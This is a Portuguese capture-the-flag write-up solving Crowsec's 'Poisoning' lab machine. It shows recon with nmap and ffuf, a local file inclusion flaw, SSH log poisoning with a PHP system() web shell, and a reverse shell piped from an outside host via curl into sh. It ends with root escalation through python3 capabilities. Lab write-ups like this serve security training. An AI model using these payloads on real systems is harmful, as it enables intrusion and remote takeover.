Passo a passo de como resolver a maquina Poisoning da Crowsec.
A máquina Poisoning é disponibilizada no laboratório da Crowsec, ou seja, para poder ter acesso a essa máquina é preciso ser aluno do Webhacking-na-pratica 2.0. | ||
A máquina está classificada como nível Fácil e seu sistema operacional é Linux. | ||
Reconhecimento | ||
O primeiro passo é descobrir quais os serviços que estão sendo executados na máquina, para isso utilizei o Nmap com os seguintes parâmetros: | ||
Nmap -sV -vvv <IP-da-Maquina> | ||
e obtive o seguinte resultado: | ||
Então decidir olhar o serviço http na porta 80. | ||
Comecei a interagir com a aplicação, e encontrei duas páginas com conteúdo similar. | ||
| ||
| ||
Depois de algumas interações, resolvi fazer um fuzzing de parâmetros, com o seguinte comando: | ||
ffuf -c -w common.txt -u http://<IP-Maquina>/index.php?FUZZ=link -fs 39277 | ||
Descobrir o seguinte parâmetro: | ||
Então decidir passar o /etc/passwd como valor do parâmetro, e descobrir que se tratava de um LFI. O output do arquivo é colocado no código fonte da página. | ||
Explorando o LFI | ||
Com o LFI encontrado, mudei o valor do parâmetro para /var/log/auth.log. O arquivo auth.log é um arquivo de log de autenticação do ssh. | ||
Como ele está refletindo na página, eu decidir injetar código php via ssh e ver o que acontece. | ||
ssh ‘<?php system($_GET[‘cmd’]);?>@’IP-Maquina’ | ||
voltei na aplicação e fiz a seguinte requisição via browser. | ||
https://<IP-Maquina>/index.php?page=/etc/passwd&cmd=id | ||
eee | ||
Peguei uma web shell. | ||
| ||
Conseguindo uma reverse shell | ||
Executei o netcat com o comando: | ||
netcat -lnvp 1337 | ||
e alterei o valor do parâmetro cmd para | ||
curl https://reverse-shell.sh/<Meu-IP>:1337 | sh | ||
e enviei a requisição para o servidor, voltei no netcat eee | ||
Peguei a reverse shell. | ||
Usei o comando cd / e depois ls -lav | ||
Encontrei a flag do usuário. | ||
| ||
Escalação de privilégios | ||
Usei o comando get -r / 2>/dev/null e encontrei algo bastante interessante | ||
O binário do python3 estava com capabilities ativado, usei o seguinte comando para explorar | ||
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' | ||
e conseguir elevar meus privilégios para root | ||
Executei os comandos cd /root e ls -lav e encontrei a flag de root | ||
| ||
Finalizando assim mais uma maquina da Tropa | ||
Considerações Finais | ||
O comprometimento da máquina Poisoning, deu em consequência do parâmetro page do index.php permitir valores vindo do usuário, e uma péssima configuração de permissão, permitindo o usuário www.data ler o arquivo auth.log. | ||
A escalação de privilegio ocorreu devido o python3 está com o capabilities configurado, concedendo-lhe privilégios de root |